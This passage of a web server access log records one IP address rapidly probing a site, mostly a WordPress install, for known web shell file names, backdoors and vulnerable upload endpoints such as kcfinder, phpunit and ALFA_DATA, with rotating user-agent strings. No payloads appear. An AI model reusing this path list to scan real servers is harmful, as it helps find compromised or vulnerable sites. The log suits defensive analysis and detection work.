-0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:53 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:53 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:53 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:53 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:54 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:54 -0400] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:54 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:54 -0400] "GET /wp-admin/css/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:54 -0400] "GET /wp-admin/js/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:55 -0400] "GET /wp-includes/rest-api/search/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:27:55 -0400] "GET /wp-class-inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.178.164 - - [25/Apr/2025:11:27:55 -0400] "GET /wp-content/view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:55 -0400] "GET /js/kcfinder/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:55 -0400] "GET /files/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:56 -0400] "GET /wp-content/uploads/2014/06/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:27:56 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:56 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.178.164 - - [25/Apr/2025:11:27:56 -0400] "GET /assets/library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:56 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:57 -0400] "GET /templates/beez3/jsstrings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:57 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:57 -0400] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:27:57 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:27:58 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.178.164 - - [25/Apr/2025:11:27:58 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:27:58 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:58 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:27:58 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:59 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:27:59 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.178.164 - - [25/Apr/2025:11:27:59 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:00 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.178.164 - - [25/Apr/2025:11:28:00 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:00 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:01 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.178.164 - - [25/Apr/2025:11:28:01 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.178.164 - - [25/Apr/2025:11:28:01 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:01 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:02 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:02 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:02 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:02 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:02 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:28:02 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:03 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:03 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:03 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:03 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:03 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:28:04 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:04 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:04 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:04 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:04 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:05 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.178.164 - - [25/Apr/2025:11:28:05 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:05 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:05 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:06 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:06 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:06 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:06 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:07 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:07 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:07 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:07 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:07 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.178.164 - - [25/Apr/2025:11:28:08 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:08 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.178.164 - - [25/Apr/2025:11:28:08 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:08 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:08 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:09 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:09 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:09 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:09 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:09 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:10 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:10 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:10 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:10 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:10 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:11 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:11 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:11 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:11 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:12 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:12 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:12 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.178.164 - - [25/Apr/2025:11:28:12 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:13 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.178.164 - - [25/Apr/2025:11:28:13 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:13 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:14 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.178.164 - - [25/Apr/2025:11:28:14 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:14 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.178.164 - - [25/Apr/2025:11:28:15 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.178.164 - - [25/Apr/2025:11:28:15 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:15 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:15 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:16 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:16 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.178.164 - - [25/Apr/2025:11:28:16 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.178.164 - - [25/Apr/2025:11:28:16 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.178.164 - - [25/Apr/2025:11:28:16 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:17 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.178.164 - - [25/Apr/2025:11:28:17 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.178.164 - - [25/Apr/2025:11:28:17 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.178.164 - - [25/Apr/2025:11:28:17 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.178.164 - - [25/Apr/2025:11:28:17 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.178.164 - - [25/Apr/2025:11:28:18 